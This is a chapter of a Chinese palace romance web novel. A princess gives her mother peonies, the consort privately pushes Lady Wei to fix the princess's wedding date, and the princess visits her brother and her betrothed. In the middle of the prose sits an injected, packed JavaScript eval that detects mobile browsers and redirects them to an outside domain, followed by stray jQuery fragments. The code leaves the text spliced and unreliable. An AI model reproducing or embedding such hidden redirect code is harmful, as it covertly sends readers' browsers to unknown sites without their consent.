魏侯夫人避开半步行礼,往她身后看了两眼,好奇问:“公主给娘娘带来了什么礼物?”
庄惟月笑了笑,指挥花奴们:“你们揭开吧。”
宫人小心翼翼取下罩花的黑布,顿时满室生辉,娇艳的牡丹花开得盛极,粉花绿叶,灿若云霞,几乎要夺去殿中所有颜色,就连见惯了各种稀罕物的贵妃娘娘眼中也流露出惊叹,忍不住靠近相看。
花瓣葳蕤生光,莹莹夺目,即使放在春日牡丹宴,这样品相的牡丹在帝京也难得一见,三人纷纷赏玩起这两盆难得的牡丹来。
庄惟月笑得眉眼弯弯,一副求夸奖的语气:“我这礼物怎么样,母妃可还算满意?”
贵妃向来宠溺女儿,更何况,这礼物实在送到了心上,她觉得十分熨帖:“这就是你捣鼓出来的?本宫很是喜欢。”
庄惟月有几分得意的样子,语声如雨打绿荷般清脆:“不过略微给他们出了个小主意,暖房培育出来的新品种,拿出去价值万钱,今年宫中要是再举办斗花会,必是母妃拔得头筹。”
贵妃搂着庄惟月,笑道:“难得你有这份心意。芳杏,赏。”
她话音刚落,掌事姑姑立刻领着花奴出去领赏,另有人领命去上林苑再赐下赏钱。
魏侯夫人察言观色,自嘉宁公主进来,贵妃唇角的笑就没下去过,方才和她对话时脸上的一点点郁气仿佛也被牡丹花携带的柔软春风吹淡。
宫内宫外,人人皆知,陛下子息深厚,皇子皇女加起来将近双十之数,可要论起最受宠的子女,太子以外,要属贵妃所出的嘉宁为上。
她熟稔地装点起笑容,对着贵妃说:“牡丹虽娇艳,终究是草木,在贵主面前落了下乘,我看全帝京再也找不出比嘉宁公主标致的小娘子。”
贵妃赏完花,斜靠在美人榻上,难掩笑意:“她小孩子家家的,受不起侯夫人如此高的夸赞。”
“哪里。”魏侯夫人牵着庄惟月的手,目光温柔,细细打量她,语调带着亲昵,“我嘴笨,只知道在嘉宁公主面前,真真是牡丹也要无颜色。”
庄惟月大大方方地任她打量,突然眼前一亮,将插花的梅瓶和花剪都拿来:“夫人的夸奖惟月受之有愧,既逢此时,手边又有群芳相伴,不如我替母妃和夫人簪花,讨个春日来的好意头。”
贵妃端起茶杯吃茶,头也不抬地道:“先让魏侯夫人挑。”
牡丹自然要留给贵妃,魏侯夫人只看瓶中花朵,素手一指,“这红十八合我眼缘,便请公主为我簪朵山茶吧。”
庄惟月从梅瓶里剪下一朵红彤彤的山茶花,簪在魏侯夫人发髻上。
而后贵妃果然选了枝怒放的牡丹。
贵妃拂过鬓边牡丹,看庄惟月眼睛转来转去,长眉一挑,提醒她:“本宫这里只有魏侯夫人一位客人,你四处看什么呢。”
庄惟月收起目光,在殿中随便点了点:“我看母妃殿中这连盏灯甚好,十三盏灯姿态各异,技艺精巧,从前没见过这样东西。”
贵妃轻笑一声:“从夏,等会把这盏灯带回你们公主宫中,免得她日夜牵挂。”
庄惟月笑眯眯地收了礼物,“还是母妃最心疼我。”
贵妃扭过头,眼含笑意,对着魏侯夫人说:“瞧瞧,送了盆牡丹,转眼就要从本宫这里拿盏灯走,她从不干亏本买卖。”
魏侯夫人哪里听不出她的话外音,附和道:“嘉宁公主对娘娘的孝心实在让我羡慕,要是我有这样贴心的女儿,一盏灯又如何,就算是要天上的月亮,我也得搭梯子去给她摘下来。”
贵妃没接她的话,摸摸庄惟月的脸,叫人拿了个紫铜刻花手炉过来,“本宫看你在这里待不住,你出去玩吧,正好本宫同魏侯夫人还有些话要说。”
庄惟月眉眼微弯,任由从夏给她系上披风,双手拢着暖手炉,态度是十分的乖巧:“那我等会再来陪母妃用膳。”
贵妃点点头,目送她离开,“去吧。”
庄惟月前脚刚迈出长春宫大门,后脚掌事姑姑就追出来,在她耳边低声提示:“今日魏世子跟着侯夫人来了,九皇子正当陪客,贵主可以去昭庆殿前的花园逛逛,那里的海棠花似乎开了。”
她合掌便笑:“正为难去哪,多谢姑姑提醒。”
庄惟月往前走了几步,停步后看,只见得芳杏姑姑匆匆回去的背影。她心想,母妃究竟要和魏侯夫人商量什么事情呢,还要特意支开她。近来帝京城里最瞩目的就是南余使团进京的消息……
莫非,母妃终于想和魏侯夫人商量婚事……
那样也好,她从前不想违抗母妃心意提前出嫁,可也实在不想在这腐烂肮脏的皇宫多待一日。
魏珉是她选中的头马,庄惟月也想知道,他究竟能带着她跑多远。
不管是长河落日,还是黄沙漠漠,前辈游记中记载的种种险峻之处、奇异景象,大梁国土所至,她都想亲眼看看。
从夏看她在原地陷入沉思,问了句:“贵主,可是落了什么东西?”
庄惟月心中又轻快起来,“无事,我们先去找世子哥哥。”
芳杏回到殿中后,很快又领着人退出去,只留下贵妃和魏侯夫人,她面无表情地守在门口。
虽然日头高照,风吹来时却仍感阴冷,殿中此刻的氛围同样如此。
随着庄惟月的离开,贵妃的笑也消失地无影无踪,她直接开口:“今天请你来,是同你商量惟月和魏珉的婚事,嘉宁十七岁了,本宫想先把他们成亲的日子定下来,下半年有几个吉日,你也挑一挑。”
魏侯夫人面色闪过惊诧,迟疑了一瞬,笑着说:“不到半年时间,要成亲是不是有些着急?”
“你不愿意?”贵妃的脸立刻沉下来,似山雨欲来,她将茶盏“噔”的一声搁在桌上,眼皮掀起,冷声说,“这桩婚事还没定下来,要是你们魏家看不上本宫的女儿,现在反悔也来得及。”
到底是在后宫风浪里厮杀出来的女人,她眼角一提,唇角噙着冷笑,那重于千钧的压力便落在魏侯夫人脸上。
魏侯夫人避开她洞察人心的眸子,忙道:“臣妾惶恐,魏家上下并无此意,全听娘娘安排。只是我担心准备亲事的时间仓促,唯恐委屈了贵主。”
贵妃斩钉截铁道:“既然如此,本宫今日就命钦天监选个吉日。先将日子订下来。”
庄惟月全然不知这番对话,正指挥着侍女挑下一枝幽香的梅花。
昭庆殿靠近前朝,离崇文馆很近,距离嫔妃所居的西内宫很有些距离。
一路花红柳绿,山花吐蕊,颇是分人心神,庄惟月边赏边走,从夏怀里渐渐抱上一大捧新鲜花枝。
好不容易看见昭庆殿三个大字,守在门口探头探脑的小内监立刻高呼“嘉宁公主到”,连滚带爬地进去报信。
从夏看着那人背影,不怎么确定:“贵主,那好像是九皇子身边的人。”
庄惟月低头,将手中的小玩意收了个尾,捏在掌中,“九弟是个急性子,一定是等不及了。”
九皇子庄钧盼她盼的望眼欲穿,一看庄惟月进来,立刻放下毛笔,跑上前咬牙切齿地说:“四姐姐,您老人家的腿脚可还好?”
从长春宫到昭庆殿,她足足走了半个时辰。受折磨的倒是他来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715892|173705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还好还好。”庄惟月看出他的迫不及待,把东西往他手里一塞,“喏,这是送你的礼物。还望阿弟常出去走走,方才不负这大好春光。”
从夏心灵手巧,早早打理出一束花,拿青绿釉灯笼瓶养着,递给方才大呼小叫的小内监。
九皇子和魏家有些渊源,他的母妃也出自郑氏,是魏侯夫人的表妹,庄钧自幼就喜欢跟在魏珉身后行事,加上未来姐夫这重关系,他和庄惟月姐弟两人相处还算融洽。
庄钧让随侍内监将花瓶摆到自己书房,再端详完庄惟月给他折的草螳螂,对自己收到的礼物十分不满:“我听说阿姐早上才送了一盆牡丹给父皇,怎么轮到我这里,就是迎春、海棠之类的平常样?”
“王弟的消息真是灵通。”
“父皇在蓬莱宫当着众臣子的面对阿姐送去的牡丹大加赞赏,阿弟实在羡慕啊。”
庄钧的母妃耳目清明,奈何儿子喜好吃喝玩乐,扶不上墙。
庄惟月垂眸,她知道宫中消息传得快,只是没想到竟是这样快,长长的羽睫在她眼下投出一片弯钩似的阴影。
也挡住了她眸中清冷的目光。
正因为看得明白这宫中越来越近的绞杀,不管是聪明人,还是蠢货,正如飞蛾扑火,总会有永无休止的渴求,将身边人枯催拉朽地毁灭,她才更想飞出这座华美的牢笼。
庄钧追着说:“我不白拿,要是阿姐能给我几盆牡丹,卖出去咱们六四分成,只需两月,弟弟保管给你赚下永安宫一年的开销。”
”总共才得了这么几盆子早开的牡丹,送给父皇母妃以后,我手里也没剩下什么,等过阵子养出新的来,一定差人送到你宫中。”庄惟月目光一瞥,落到庄钧正在写的策论上,从头到尾数百字,几次断墨,可见主人思路不畅,断断续续写了许久,她看完摇摇头,“可惜了这手好字,写成这样,许先生该打你手心。”
话音刚落,庄钧顿时露出杀鸡抹脖子似的表情,求她立刻闭嘴,收了神通。
庄惟月顺着他的目光,看到殿中的另外一人。
魏珉正静静坐在角落,明朗的阳光从窗棂漏下,洒在他深邃的眉眼间,长眉入鬓,眼角微微上翘,堂堂魏侯世子,样貌当然是极好的,如芝兰玉树,看上去疏冷矜贵。
“你心虚什么?嘉宁说的不错。”魏珉站起来,将庄钧写的课业放在书案上,再看他刚写的这一篇,“我看你这两篇策论写的牛头不对马嘴,连十三皇子都不如。关于如何治理水患,前人已经有不少经验,花些时间多看多学,不至于写得如此糊涂。我给你挑几本书,你先看完。”
“多谢表兄!”庄钧闻言大喜,就算魏珉此刻将他骂的狗血淋头,他也欣然接受。
这两篇作业马上要交给陛下查看,他正急得就差铤而走险找人代笔。
庄钧看四姐姐进来后,和表兄两个人虽没说上话,眉眼也没碰触,但气氛如此,自己的存在好似有些多余。
他识趣道:“我要去温书,劳烦四姐姐招待一下珉表兄。”
魏珉写下一连串书名,落笔有筋骨,挺拔秀丽,顿时将旁边的字迹比了下去,“把你那些心思从账本里收起来,课业不可荒废,还需向先生们多请教,若是先生们没空解惑,也可递信给我。”
“表兄放心,只需这次,下次我一定用工温书,不给表兄找麻烦。”庄钧十三四岁,正是天下第一我第二的年纪,连太子都不怕,唯独见到这个表兄时,如同老鼠见到猫儿,他只想先过眼前这关,才不想跟着严肃古板的魏珉读书,抽了纸便走,“表兄你有空管教四姐姐吧,我走了。”